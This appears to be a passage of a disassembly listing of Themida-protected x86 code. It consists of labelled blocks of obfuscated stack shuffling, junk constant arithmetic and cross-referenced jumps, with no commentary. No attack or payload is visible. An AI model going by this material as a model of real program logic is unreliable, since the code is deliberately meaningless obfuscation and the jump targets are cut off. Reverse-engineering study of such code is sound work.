		sub	byte ptr [esp],	7
		jmp	loc_5561ED
; ---------------------------------------------------------------------------


loc_559E8D:				; CODE XREF: Themida_:00564D55j
		mov	edi, eax
		pop	eax
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_559BAE
; ---------------------------------------------------------------------------


loc_559EA0:				; CODE XREF: Themida_:0055DC6Fj
		xor	edx, 1ED2CCEBh
		sub	eax, 65562DCEh
		sub	eax, 2105521Fh
		add	eax, edx
		push	ecx
		mov	ecx, 2105521Fh
		add	eax, ecx
		pop	ecx
		jmp	loc_5575F5
; ---------------------------------------------------------------------------


loc_559EC0:				; CODE XREF: Themida_:00550ED0j
		add	esp, 4
		inc	eax
		jmp	loc_5553E8
; ---------------------------------------------------------------------------


loc_559EC9:				; CODE XREF: Themida_:00553B26j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], di
		push	small word ptr [esp+2]
		pop	di
		pop	small word ptr [esp]
		not	di
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 4
		sub	edi, 759128F9h
		jmp	loc_5572AA
; ---------------------------------------------------------------------------


loc_559EF5:				; CODE XREF: Themida_:00556A21j
		sub	al, 7Bh
		add	al, ch
		jmp	loc_55D58C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	5AE8h
		mov	[esp], eax
		jmp	loc_552380
; ---------------------------------------------------------------------------


loc_559F0F:				; CODE XREF: Themida_:005622CCj
		pop	ebp
		push	esi
		mov	esi, 5C0D22B3h
		xor	ebp, esi
		pop	esi
		mov	ecx, ebp
		pop	ebp
		xor	ecx, edi
		jmp	loc_558C98
; ---------------------------------------------------------------------------


loc_559F23:				; CODE XREF: Themida_:0055CFEEj
		sub	ecx, 20755484h
		add	ecx, ebp
		add	ecx, 20755484h
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp], esi
		push	edi
		mov	edi, 33512254h
		xor	edi, 31A801E2h
		mov	esi, edi
		pop	edi
		sub	esi, 0FFFFFFFFh
		jmp	loc_55A950
; ---------------------------------------------------------------------------


loc_559F55:				; CODE XREF: Themida_:0055716Aj
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		add	eax, 2
		xchg	eax, [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_559F72:				; CODE XREF: Themida_:0055D10Dj
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 70342BA2h
		add	ebp, ecx
		sub	ebp, 70342BA2h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	esi
		jmp	loc_5623DD
; ---------------------------------------------------------------------------


loc_559F96:				; CODE XREF: Themida_:0055D32Cj
		xor	eax, 22A57A03h
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		or	esi, 68AF11EAh
		and	esi, 1874479Eh
		jmp	loc_556B51
; ---------------------------------------------------------------------------


loc_559FB4:				; CODE XREF: Themida_:0055BCE6j
		push	ebx
		push	3F406E85h
		jmp	loc_5621F5
; ---------------------------------------------------------------------------


loc_559FBF:				; CODE XREF: Themida_:00557593j
		shl	ebp, 6
		or	ebp, 9CD41A1h
		sub	ebp, 2A2D6839h
		xor	ebp, 2A1D4AFAh
		jmp	loc_55925D
; ---------------------------------------------------------------------------


loc_559FD9:				; CODE XREF: Themida_:005645C7j
		add	eax, edi
		pop	edi
		sub	eax, 1A3A6487h
		sub	eax, edx
		jmp	loc_555C80
; ---------------------------------------------------------------------------


loc_559FE8:				; CODE XREF: Themida_:00553A5Dj
		mov	[esp], ebp
		mov	ebp, 1E7A41CBh
		jmp	loc_5649B2
; ---------------------------------------------------------------------------


loc_559FF5:				; CODE XREF: Themida_:0055E78Dj
		push	5A36h
		jmp	loc_551BFE
; ---------------------------------------------------------------------------


loc_559FFF:				; CODE XREF: Themida_:005546F5j
		mov	ebx, 64783F31h
		sub	[esp+4], ebx
		pop	ebx
		pop	eax
		add	eax, 64783F31h
		pop	esi
		sub	ebx, 37E3707Ah
		add	ebx, eax
		add	ebx, 37E3707Ah
		jmp	loc_557734
; ---------------------------------------------------------------------------


loc_55A023:				; CODE XREF: Themida_:005514A4j
		add	ebx, ecx
		sub	ebx, 27807E9Dh
		sub	ebx, 163B5452h
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_55E789
; ---------------------------------------------------------------------------


loc_55A045:				; CODE XREF: Themida_:005532A8j
		mov	ebp, 64BEA893h
		jmp	loc_55EA85
; ---------------------------------------------------------------------------


loc_55A04F:				; CODE XREF: Themida_:005517BEj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_560592
; ---------------------------------------------------------------------------


loc_55A05D:				; CODE XREF: Themida_:00557F70j
		not	esi
		dec	esi
		and	esi, 4BD01F81h
		add	esi, 0A211CCh
		xor	esi, 52F88340h
		jmp	loc_562413
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	3A52h
		mov	[esp], ebp
		push	esp
		push	dword ptr [esp]
		jmp	loc_563990
; ---------------------------------------------------------------------------


loc_55A08C:				; CODE XREF: Themida_:0055A4B0j
		add	edx, 4
		jmp	loc_55B783
; ---------------------------------------------------------------------------


loc_55A097:				; CODE XREF: Themida_:00561A9Bj
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_560449
; ---------------------------------------------------------------------------


loc_55A0A3:				; CODE XREF: Themida_:00552E08j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		jmp	loc_561CAD
; ---------------------------------------------------------------------------


loc_55A0B3:				; CODE XREF: Themida_:00553DB4j
		shr	ebx, 4
		push	ebp
		mov	ebp, 5FA850FFh
		inc	ebp
		sub	ebp, 3AE73CD3h
		xor	ebp, 7923140Eh
		sub	ebp, 5291E923h
		xor	ebx, ebp
		pop	ebp
		jmp	loc_564FA7
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	3FEAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_563E4E
; ---------------------------------------------------------------------------


loc_55A0F9:				; CODE XREF: Themida_:00560955j
		push	ecx
		mov	ecx, esp
		jmp	loc_55E11C
; ---------------------------------------------------------------------------


loc_55A101:				; CODE XREF: Themida_:00563B1Fj
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		add	dh, 0FFh
		push	ecx
		mov	ch, 13h
		and	ch, 7Ah
		push	eax
		mov	ah, 0FCh
		sub	ch, ah
		pop	eax
		jmp	loc_55E82B
; ---------------------------------------------------------------------------


loc_55A11C:				; CODE XREF: Themida_:005633CFj
		mov	[esp], edi
		mov	edi, 6C96D67h
		jmp	loc_56360E
; ---------------------------------------------------------------------------


loc_55A129:				; CODE XREF: Themida_:0055B191j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_559DFF
; ---------------------------------------------------------------------------


loc_55A13B:				; CODE XREF: Themida_:00564C95j
		pop	edi
		xchg	eax, [esp]
		pop	esp
		btr	[esp], ax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55A14B:				; CODE XREF: Themida_:0056068Fj
		not	edx
		add	edx, 88C76884h
		not	edx
		sub	edx, 63CAB57Dh
		mov	ecx, edx
		pop	edx
		push	edi
		mov	edi, 5F4516B5h
		add	edi, 4A002680h
		jmp	loc_564ACF
; ---------------------------------------------------------------------------


loc_55A16F:				; CODE XREF: Themida_:005581E5j
		add	edi, 4
		jmp	loc_552E95
; ---------------------------------------------------------------------------


loc_55A17A:				; CODE XREF: Themida_:00555B5Ej
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_55C1D6
; ---------------------------------------------------------------------------


loc_55A185:				; CODE XREF: Themida_:00563983j
		xor	ecx, esi
		pop	esi
		push	ecx
		sub	dword ptr [esp], 2A5D4E5Dh
		pop	ebp
		add	ebp, 2A5D4E5Dh
		jmp	loc_565412
; ---------------------------------------------------------------------------


loc_55A19C:				; CODE XREF: Themida_:005528A2j
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5530FE
; ---------------------------------------------------------------------------


loc_55A1A7:				; CODE XREF: Themida_:0055978Ej
		mov	ebx, 0A1AD982h
		sub	esi, ebx
		pop	ebx
		sub	ebx, esi
		pop	esi
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	edi, ebx
		pop	ebx
		and	edi, 408C1A97h
		sub	edi, 0FFFFFFFFh
		jmp	loc_55E43D
; ---------------------------------------------------------------------------


loc_55A1CA:				; CODE XREF: Themida_:005533FEj
		mov	esi, 7F241594h
		sub	esi, 49190469h
		jmp	loc_551167
; ---------------------------------------------------------------------------


loc_55A1DA:				; CODE XREF: Themida_:0055FF5Fj
		sub	ebp, 74E13A9Dh
		jmp	loc_55C37E
; ---------------------------------------------------------------------------


loc_55A1E5:				; CODE XREF: Themida_:00556691j
		mov	[esp], esi
		jmp	loc_558466
; ---------------------------------------------------------------------------


loc_55A1ED:				; CODE XREF: Themida_:0055DF8Ej
		pop	esi
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_550BF6
; ---------------------------------------------------------------------------


loc_55A206:				; CODE XREF: Themida_:00558F83j
		sub	ebp, 59406CE2h
		add	ebp, 0DE053E8h
		sub	edx, ebp
		jmp	loc_55C7F9
; ---------------------------------------------------------------------------


loc_55A219:				; CODE XREF: Themida_:00559C23j
		and	ebx, 25BE14F3h
		neg	ebx
		or	ebx, 22175BD6h
		xor	ebx, 0C2E1ABDFh
		sub	eax, ebx
		pop	ebx
		sub	eax, edx
		add	eax, 3DB65009h
		jmp	loc_55CD65
; ---------------------------------------------------------------------------


loc_55A23C:				; CODE XREF: Themida_:00556FDEj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_556E3D
; ---------------------------------------------------------------------------


loc_55A245:				; CODE XREF: Themida_:005569DDj
		mov	[esp], edx
		push	ecx
		push	edi
		mov	edi, 7CCC21D8h
		sub	[esp+4], edi
		pop	edi
		mov	edx, [esp]
		push	eax
		jmp	loc_561B36
; ---------------------------------------------------------------------------


loc_55A25D:				; CODE XREF: Themida_:0056092Aj
		pop	edx
		mov	al, bl
		mov	bx, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		xor	al, bl
		xor	bl, al
		jmp	loc_55FA5B
; ---------------------------------------------------------------------------


loc_55A27D:				; CODE XREF: Themida_:00563475j
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_56109E
; ---------------------------------------------------------------------------


loc_55A297:				; CODE XREF: Themida_:0055B7E0j
		mov	esp, [esp]
		jmp	loc_551D4D
; ---------------------------------------------------------------------------


loc_55A29F:				; CODE XREF: Themida_:00563B07j
		sub	edi, ecx
		pop	ecx
		sub	ebx, edi
		pop	edi
		jmp	loc_555F8A
; ---------------------------------------------------------------------------


loc_55A2AA:				; CODE XREF: Themida_:0055E348j
		pop	edx
		and	edx, 51326743h
		push	eax
		push	413E6503h
		pop	eax
		add	edx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	edx, 0B3C236Dh
		xor	edx, 8C8C8E73h
		sub	eax, edx
		pop	edx
		inc	eax
		neg	eax
		shl	eax, 6
		sub	eax, 69F1C13Ch
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		push	7885h
		mov	[esp], edx
		push	esi
		mov	esi, 68DD0E76h
		mov	edx, 0E8108E64h
		sub	edx, esi
		pop	esi
		shr	edx, 4
		shl	edx, 4
		dec	edx
		push	edi
		jmp	loc_550663
; ---------------------------------------------------------------------------


loc_55A305:				; CODE XREF: Themida_:0055284Cj
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55A318:				; CODE XREF: Themida_:00565432j
		add	eax, ebp
		push	edx
		jmp	loc_55F705
; ---------------------------------------------------------------------------


loc_55A320:				; CODE XREF: Themida_:0055C7E2j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55A329:				; CODE XREF: Themida_:0055B36Dj
		push	esi
		push	775530F5h
		jmp	loc_561B16
; ---------------------------------------------------------------------------


loc_55A334:				; CODE XREF: Themida_:00556727j
		sub	ecx, 0FFFFFFFFh
		add	ecx, 0FFFFFFFFh
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_564800
; ---------------------------------------------------------------------------


loc_55A355:				; CODE XREF: Themida_:00553758j
		and	ecx, 53CC2BD4h
		or	ecx, 75D098Ch
		or	ecx, 5BF5238Fh
		xor	ecx, 54B20FB9h
		push	ebp
		jmp	loc_56407B
; ---------------------------------------------------------------------------


loc_55A373:				; CODE XREF: Themida_:00560F16j
		add	edx, 4
		add	edx, 4
		jmp	loc_55A67A
; ---------------------------------------------------------------------------


loc_55A384:				; CODE XREF: Themida_:00564349j
		add	esi, 80F615h
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55AF24
; ---------------------------------------------------------------------------


loc_55A39E:				; CODE XREF: Themida_:0055D02Cj
		pop	ebp
		xor	ebx, 0D4C54798h
		mov	edx, ebx
		jmp	loc_551F02
; ---------------------------------------------------------------------------


loc_55A3AC:				; CODE XREF: Themida_:00559566j
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		add	edi, 4
		jmp	loc_564C4E
; ---------------------------------------------------------------------------


loc_55A3C3:				; CODE XREF: Themida_:005526E7j
		mov	ebp, esp
		jmp	loc_55DBB8
; ---------------------------------------------------------------------------


loc_55A3CA:				; CODE XREF: Themida_:00553459j
		push	dword ptr [esp]
		jmp	loc_5586CF
; ---------------------------------------------------------------------------


loc_55A3D2:				; CODE XREF: Themida_:0056488Ej
		mov	ebx, 95CA457Bh
		jmp	loc_559D03
; ---------------------------------------------------------------------------


loc_55A3DC:				; CODE XREF: Themida_:00558E02j
		sub	eax, edx
		pop	edx
		xor	eax, 52849D6h
		sub	edi, eax
		pop	eax
		sub	edi, 0DB29A046h
		jmp	loc_55A949
; ---------------------------------------------------------------------------


loc_55A3F2:				; CODE XREF: Themida_:00559BF4j
		mov	ch, 1
		add	dl, ch
		pop	cx
		jmp	loc_5644E1
; ---------------------------------------------------------------------------


loc_55A3FD:				; CODE XREF: Themida_:00553DA1j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_55B138
; ---------------------------------------------------------------------------


loc_55A411:				; CODE XREF: Themida_:00551E86j
		push	esp
		jmp	loc_55B5ED
; ---------------------------------------------------------------------------


loc_55A417:				; CODE XREF: Themida_:00558078j
		push	7AE2h
		mov	[esp], edx
		push	ecx
		push	eax
		mov	ah, bh
		mov	cl, ah
		pop	eax
		mov	dl, cl
		jmp	loc_561771
; ---------------------------------------------------------------------------


loc_55A42D:				; CODE XREF: Themida_:005653A3j
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_557488
; ---------------------------------------------------------------------------


loc_55A43B:				; CODE XREF: Themida_:00562A4Ej
		pop	esp
		push	60ABh
		jmp	loc_55D920
; ---------------------------------------------------------------------------


loc_55A446:				; CODE XREF: Themida_:00561170j
		pop	edi
		jmp	loc_563A11
; ---------------------------------------------------------------------------


loc_55A44C:				; CODE XREF: Themida_:005579BEj
		mov	dx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		push	small 7858h
		mov	[esp], cx
		push	edx
		mov	dh, 1Dh
		mov	ch, 35h
		sub	ch, dh
		pop	edx
		jmp	loc_56122C
; ---------------------------------------------------------------------------


loc_55A478:				; CODE XREF: Themida_:005614DBj
		xor	edx, [esp]
		pop	esp
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_55C9B0
; ---------------------------------------------------------------------------


loc_55A495:				; CODE XREF: Themida_:0055901Ej
		pop	eax
		dec	eax
		jmp	loc_5573A0
; ---------------------------------------------------------------------------


loc_55A49C:				; CODE XREF: Themida_:005631A5j
		xor	ah, 8Fh
		jmp	loc_563402
; ---------------------------------------------------------------------------


loc_55A4A4:				; CODE XREF: Themida_:005569E5j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_55A08C
; ---------------------------------------------------------------------------


loc_55A4B5:				; CODE XREF: Themida_:00551B44j
		sub	dh, 7Bh
		jmp	loc_558043
; ---------------------------------------------------------------------------


loc_55A4BD:				; CODE XREF: Themida_:00565BB8j
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		jmp	loc_552E4F
; ---------------------------------------------------------------------------


loc_55A4CC:				; CODE XREF: Themida_:00558B5Fj
		add	esp, 4
		xor	esi, 7AEE9512h
		jmp	loc_55B9A6
; ---------------------------------------------------------------------------


loc_55A4DA:				; CODE XREF: Themida_:005568F3j
		sub	al, 0Fh
		jmp	loc_556A1F
; ---------------------------------------------------------------------------


loc_55A4E1:				; CODE XREF: Themida_:00553638j
		mov	esp, [esp]
		shr	eax, 0Eh
		xor	eax, ecx
		push	6FAh
		jmp	loc_563835
; ---------------------------------------------------------------------------


loc_55A4F3:				; CODE XREF: Themida_:005567A8j
		xchg	edx, esi
		xchg	ebx, edx
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		xchg	ebx, edx
		xchg	edx, esi
		not	esi
		sub	esi, 38881D98h
		add	ebx, esi
		jmp	loc_5626CA
; ---------------------------------------------------------------------------


loc_55A50F:				; CODE XREF: Themida_:0055EBD8j
		sub	ebx, ecx
		pop	ecx
		and	ebx, 7BB35667h
		push	ecx
		mov	ecx, 0F2EEDDF5h
		sub	ebx, ecx
		jmp	loc_55675F
; ---------------------------------------------------------------------------


loc_55A525:				; CODE XREF: Themida_:0055589Ej
		add	eax, ebx
		pop	ebx
		jmp	loc_55E772
; ---------------------------------------------------------------------------


loc_55A52D:				; CODE XREF: Themida_:0055188Dj
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_55102B
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55A540:				; CODE XREF: Themida_:0055CF8Aj
		pop	edi
		add	dword ptr [esp], 7CBE1E62h
		jmp	loc_553803
; ---------------------------------------------------------------------------


loc_55A54D:				; CODE XREF: Themida_:0055AF6Ej
		mov	[esp], edx
		jmp	loc_553495
; ---------------------------------------------------------------------------


loc_55A555:				; CODE XREF: Themida_:00560F81j
		sub	esi, 58BB15ACh
		jmp	loc_5596A4
; ---------------------------------------------------------------------------


loc_55A560:				; CODE XREF: Themida_:0055E71Aj
		add	ch, 6Dh
		jmp	loc_563307
; ---------------------------------------------------------------------------


loc_55A568:				; CODE XREF: Themida_:0055892Cj
		xor	edx, 2C6A3863h
		xor	edx, 64890A8Bh
		xor	edx, 77437B40h
		and	ebx, edx
		pop	edx
		sub	ebx, 12A16AE0h
		xor	ebx, 9DA7D1ECh
		and	esi, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55CC76
; ---------------------------------------------------------------------------


loc_55A5A8:				; CODE XREF: Themida_:00563661j
		and	dh, 0E6h
		add	dh, 98h
		mov	ch, dh
		jmp	loc_5614A8
; ---------------------------------------------------------------------------


loc_55A5B5:				; CODE XREF: Themida_:0055F9F7j
		shl	eax, 1
		push	edi
		push	ecx
		mov	ecx, 257C7279h
		neg	ecx
		inc	ecx
		xor	ecx, 0B68FF635h
		mov	edi, ecx
		pop	ecx
		or	eax, edi
		mov	edi, [esp]
		add	esp, 4
		and	eax, 41483583h
		dec	eax
		add	eax, 0BEF7CA82h
		sub	ebx, 68A03A04h
		jmp	loc_55F2E7
; ---------------------------------------------------------------------------


loc_55A5E8:				; CODE XREF: Themida_:00564979j
		push	esi
		push	ecx
		jmp	loc_552EA7
; ---------------------------------------------------------------------------


loc_55A5EF:				; CODE XREF: Themida_:00556103j
		sub	eax, edx
		jmp	loc_554327
; ---------------------------------------------------------------------------


loc_55A5F6:				; CODE XREF: Themida_:0055A956j
		xchg	ebp, [esp]
		mov	esi, [esp]
		add	esp, 4
		shr	esi, 8
		push	esi
		jmp	loc_55CD81
; ---------------------------------------------------------------------------


loc_55A608:				; CODE XREF: Themida_:00558E57j
		sub	edx, 5EBF2FFAh
		add	ecx, edx
		pop	edx
		push	ebp
		jmp	loc_5542BF
; ---------------------------------------------------------------------------


loc_55A617:				; CODE XREF: Themida_:00556BB1j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	58F8h
		mov	[esp], edx
		mov	edx, 533855F8h
		xor	eax, edx
		pop	edx
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55A64D:				; CODE XREF: Themida_:0055C488j
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		jmp	loc_5623CA
; ---------------------------------------------------------------------------


loc_55A65F:				; CODE XREF: Themida_:00565178j
		mov	ecx, 3AAB60BFh
		xor	ebx, ecx
		jmp	loc_55D489
; ---------------------------------------------------------------------------


loc_55A66B:				; CODE XREF: Themida_:00565349j
		mov	edi, [esp]
		push	eax
		jmp	loc_561A75
; ---------------------------------------------------------------------------


loc_55A674:				; CODE XREF: Themida_:005542BAj
		pop	eax
		jmp	loc_55B778
; ---------------------------------------------------------------------------


loc_55A67A:				; CODE XREF: Themida_:0055A37Fj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_563327
; ---------------------------------------------------------------------------


loc_55A683:				; CODE XREF: Themida_:00558EE0j
		push	ecx
		push	small 6103h
		mov	[esp], bx
		jmp	loc_55DECC
; ---------------------------------------------------------------------------


loc_55A691:				; CODE XREF: Themida_:0055FEB8j
		add	esp, 4
		mov	ebp, esi
		jmp	loc_562D1B
; ---------------------------------------------------------------------------


loc_55A69E:				; CODE XREF: Themida_:0055B25Aj
		pop	edx
		add	ebx, 54573F60h
		add	ebx, edx
		sub	ebx, 54573F60h
		add	ebx, 510E5D6Dh
		jmp	loc_55164C
; ---------------------------------------------------------------------------


loc_55A6B8:				; CODE XREF: Themida_:00560B7Ej
		pop	eax
		pop	ecx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	20DBh
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		jmp	loc_5614E0
; ---------------------------------------------------------------------------


loc_55A6E8:				; CODE XREF: Themida_:005643E9j
		mov	dh, 9Fh
		add	bl, dh
		jmp	loc_55958D
; ---------------------------------------------------------------------------


loc_55A6F1:				; CODE XREF: Themida_:00562B2Fj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1CA1577Ah
		add	edi, eax
		pop	eax
		jmp	loc_55ECF1
; ---------------------------------------------------------------------------


loc_55A707:				; CODE XREF: Themida_:00565A82j
		not	esi
		jmp	loc_551979
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	7694h
		mov	[esp], edi
		push	5918h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebp
		mov	ebp, 4FD13E03h
		jmp	loc_562720
; ---------------------------------------------------------------------------


loc_55A732:				; CODE XREF: Themida_:005574FAj
		add	eax, 4
		add	eax, 2
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_553C05
; ---------------------------------------------------------------------------


loc_55A746:				; CODE XREF: Themida_:0055350Dj
		add	bh, 33h
		jmp	loc_55B00C
; ---------------------------------------------------------------------------


loc_55A74E:				; CODE XREF: Themida_:00552B4Bj
		mov	[esp], edx
		push	esi
		jmp	loc_5533BE
; ---------------------------------------------------------------------------


loc_55A757:				; CODE XREF: Themida_:0055816Ej
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55EDB6
; ---------------------------------------------------------------------------


loc_55A765:				; CODE XREF: Themida_:005567E2j
		push	ecx
		mov	ecx, 4
		jmp	loc_564FB5
; ---------------------------------------------------------------------------


loc_55A770:				; CODE XREF: Themida_:0055CC08j
		add	esp, 4
		add	esp, 4
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5618AF
; ---------------------------------------------------------------------------


loc_55A790:				; CODE XREF: Themida_:00551925j
		inc	ebx
		shl	ebx, 5
		jmp	loc_55F87D
; ---------------------------------------------------------------------------


loc_55A799:				; CODE XREF: Themida_:00563819j
		push	esi
		mov	esi, 533C22BBh
		neg	esi
		jmp	loc_55047D
; ---------------------------------------------------------------------------


loc_55A7A6:				; CODE XREF: Themida_:00552D0Cj
		mov	bh, 0Dh
		not	bh
		inc	bh
		or	bh, 50h
		sub	bh, 24h
		push	edx
		mov	dl, 0DAh
		inc	dl
		shr	dl, 3
		shl	dl, 1
		push	ebx
		jmp	loc_5602A5
; ---------------------------------------------------------------------------


loc_55A7C2:				; CODE XREF: Themida_:00551EEAj
		pop	edx
		pop	ecx
		mov	bl, al
		jmp	loc_564513
; ---------------------------------------------------------------------------


loc_55A7CB:				; CODE XREF: Themida_:0055ED96j
		xor	dl, 4
		jmp	loc_55C410
; ---------------------------------------------------------------------------


loc_55A7D3:				; CODE XREF: Themida_:0055D761j
		add	esp, 4
		add	edx, edi
		mov	edi, [esp]
		jmp	loc_555073
; ---------------------------------------------------------------------------


loc_55A7E0:				; CODE XREF: Themida_:0055AE43j
		pop	ecx
		add	ebp, edi
		pop	edi
		push	edi
		mov	edi, 4
		jmp	loc_551E96
; ---------------------------------------------------------------------------


loc_55A7EF:				; CODE XREF: Themida_:005552F1j
		xor	edx, [esp]
		jmp	loc_5614D8
; ---------------------------------------------------------------------------


loc_55A7F7:				; CODE XREF: Themida_:00552F64j
		push	ecx
		mov	ch, 0FBh
		add	ch, 79h
		add	al, ch
		pop	ecx
		or	al, 0BBh
		jmp	loc_5507E7
; ---------------------------------------------------------------------------


loc_55A807:				; CODE XREF: Themida_:0056508Dj
		add	eax, edi
		sub	eax, 78F94D5Fh
		jmp	loc_553869
; ---------------------------------------------------------------------------


loc_55A813:				; CODE XREF: Themida_:0055EB93j
		pop	cx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5597D7
; ---------------------------------------------------------------------------


loc_55A820:				; CODE XREF: Themida_:00556E38j
		pop	eax
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_55E1E6
; ---------------------------------------------------------------------------


loc_55A832:				; CODE XREF: Themida_:0055EBC9j
		push	esi
		jmp	loc_5632EA
; ---------------------------------------------------------------------------


loc_55A838:				; CODE XREF: Themida_:00560F98j
		add	edx, edi
		mov	edi, [esp]
		jmp	loc_560D7C
; ---------------------------------------------------------------------------


loc_55A842:				; CODE XREF: Themida_:0055E152j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		jmp	loc_55321E
; ---------------------------------------------------------------------------


loc_55A857:				; CODE XREF: Themida_:0055DA1Aj
		push	517Fh
		mov	[esp], ebp
		mov	ebp, 0DDC1683h
		add	edx, ebp
		mov	ebp, [esp]
		jmp	loc_56388C
; ---------------------------------------------------------------------------


loc_55A86E:				; CODE XREF: Themida_:00564C49j
		add	esp, 4
		xor	al, dh
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	dh, 0B0h
		sub	dh, 85h
		add	bl, 0F0h
		sub	bl, dh
		sub	bl, 0F0h
		pop	edx
		sub	bl, 3Dh
		add	bl, al
		push	ecx
		mov	ch, 7Fh
		and	ch, 0C0h
		neg	ch
		jmp	loc_556B31
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		jmp	loc_5526E6
; ---------------------------------------------------------------------------


loc_55A8A4:				; CODE XREF: Themida_:005507ACj
		add	esp, 4
		sub	esp, 4
		jmp	loc_56483E
; ---------------------------------------------------------------------------


loc_55A8B2:				; CODE XREF: Themida_:00554B22j
		pop	ebp
		jmp	loc_554AE7
; ---------------------------------------------------------------------------


loc_55A8B8:				; CODE XREF: Themida_:005616C8j
		sub	edx, eax
		sub	edx, 18A83FF1h
		push	ecx
		mov	ecx, 48297925h
		add	ecx, 1C6B2BAFh
		add	ecx, 5277399Ch
		xor	ecx, 0C1C6964h
		or	ecx, 60FA3DABh
		add	ecx, 6D207085h
		sub	edx, ecx
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_55468D
; ---------------------------------------------------------------------------


loc_55A8F3:				; CODE XREF: Themida_:0055D400j
		pop	eax
		jmp	loc_556578
; ---------------------------------------------------------------------------


loc_55A8F9:				; CODE XREF: Themida_:00555007j
		add	[esp+4], ebp
